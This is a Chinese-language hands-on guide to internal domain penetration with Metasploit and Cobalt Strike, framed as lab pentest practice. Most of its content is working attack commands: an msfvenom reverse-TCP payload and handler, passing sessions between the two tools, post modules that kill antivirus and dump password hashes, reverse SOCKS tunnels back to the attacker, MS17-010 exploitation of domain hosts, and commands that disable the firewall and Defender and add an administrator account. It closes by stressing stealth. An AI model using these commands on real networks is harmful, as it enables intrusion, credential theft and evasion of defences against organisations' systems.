Metasploit和Cobaltstrike内网域渗透分析(实战总结)
字数 1090 2025-08-15 21:31:30
Metasploit与Cobalt Strike内网域渗透实战指南
一、测试环境搭建
网络拓扑设计
- 典型环境:Web服务器配置双网卡
- 一块连接互联网(外网)
- 一块连接内网(内网机器无法直接连接互联网)
- VMware模拟环境配置建议:
- 将Web服务器的上网网卡NAT改为自定义VMnet3
- 攻击机网卡也设为VMnet3
- 优点:保持网络连通性,IP固定不变,便于持续渗透
二、Web服务器渗透
初始攻击手段
- 常见Web漏洞利用:
- 弱口令攻击
- 文件上传漏洞
- 远程代码执行漏洞
- CMS特定漏洞利用
- 信息收集:
- 使用nmap扫描:
nmap -sS -n -A 目标IP
- 使用nmap扫描:
控制服务器方法
Metasploit方法
- 生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe > shell.exe - 设置监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 攻击机IP set lport 4444 exploit - 后续操作:
- 提权
- 开启远程桌面:
run post/windows/manage/enable_rdp
Cobalt Strike方法
- 启动CS服务器端和客户端
- 配置监听器
- 生成后门并上传执行
- 提权操作
- 调整心跳时间(默认60秒,可设为1秒)
MSF与CS会话互通
MSF派生给CS
- 在CS创建监听器
- MSF操作:
use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost CS服务器IP set lport 监听端口 set session 现有会话ID set disablepayloadhandler true run
CS派生给MSF
- MSF设置监听:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 攻击机IP set lport 5555 exploit - CS操作:
- 新增监听器
- 选择"spawn"派生会话
三、内网横向移动
信息收集技术
DOS命令收集
ipconfig /all # 查看本机IP和域信息
route print # 路由信息
net view # 局域网主机名
arp -a # ARP缓存
net start # 运行服务
net share # 共享资源
net use # 建立连接
net user /domain # 域用户信息
net group /domain # 域工作组
net time /domain # 判断主域控制器
MSF模块收集
-
常用post模块:
run post/windows/manage/migrate # 进程迁移 run post/windows/gather/checkvm # 检测虚拟机 run post/windows/manage/killav # 关闭杀毒软件 run post/windows/manage/enable_rdp # 开启远程桌面 run post/windows/manage/autoroute # 查看路由 run post/windows/gather/enum_logged_on_users # 当前登录用户 run post/windows/gather/smart_hashdump # 导出用户hash -
存活主机探测:
use auxiliary/scanner/discovery/udp_sweep use auxiliary/scanner/netbios/nbname use auxiliary/scanner/portscan/tcp -
服务扫描:
use auxiliary/scanner/ftp/ftp_version use auxiliary/scanner/ssh/ssh_version use auxiliary/scanner/smb/smb_version use auxiliary/scanner/mssql/mssql_schemadump
CS模块收集
- 使用portscan命令:
portscan 192.168.52.0/24 445 arp 200 - 查看结果:View > Targets
- 密码抓取工具:LaZagne(获取本地存储的各种密码)
代理设置技术
Meterpreter搭建Socks代理
- 添加路由:
run get_local_subnets run autoroute -s 内网网段/24 run autoroute -p - 配置proxychains:
vim /etc/proxychains.conf - 测试代理:
proxychains nmap -p 1-1000 -Pn -sT 目标IP
EW工具搭建代理
- 攻击机:
./ew_for_linux64 -s rcsocks -l 1080 -e 1024 & - 目标机:
ew.exe -s rssocks -d 攻击机IP -e 1024
CS搭建代理
- 添加代理:View > Proxy Pivots
- MSF配置:
setg Proxies socks4/5:CS服务器IP:端口 setg ReverseAllowProxy true
域成员和域控渗透
MSF利用
- SMB漏洞利用:
use auxiliary/admin/smb/ms17_010_command set rhosts 目标IP set command "添加用户命令" run - 获取shell:
use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set rhosts 目标IP set lport 端口 run
CS利用
- 凭据传递:
- 使用psexec传递登录
- 使用psexec_psh模块
- 代理功能:
- 利用CS内置代理功能进行内网穿透
四、高级技巧
端口转发
meterpreter > portfwd add -l 本地端口 -r 目标IP -p 目标端口
内网穿透
- 生成内网专用木马
- 使用lcx工具进行端口转发
- 通过已控跳板机的双网卡特性建立通道
五、防御规避
- 关闭防火墙:
netsh advfirewall set allprofiles state off - 关闭Windows Defender:
net stop windefend - 添加用户:
net user 用户名 密码 /add net localgroup administrators 用户名 /add
六、后续研究方向
- 票据伪造:
- 黄金票据
- 白银票据
- 权限维持技术
- 更隐蔽的横向移动方法
本指南详细介绍了从外网渗透到内网横向移动的全过程,重点涵盖了Metasploit和Cobalt Strike两大工具的高级用法。实际渗透测试中,应根据目标环境灵活组合这些技术,并注意操作的隐蔽性。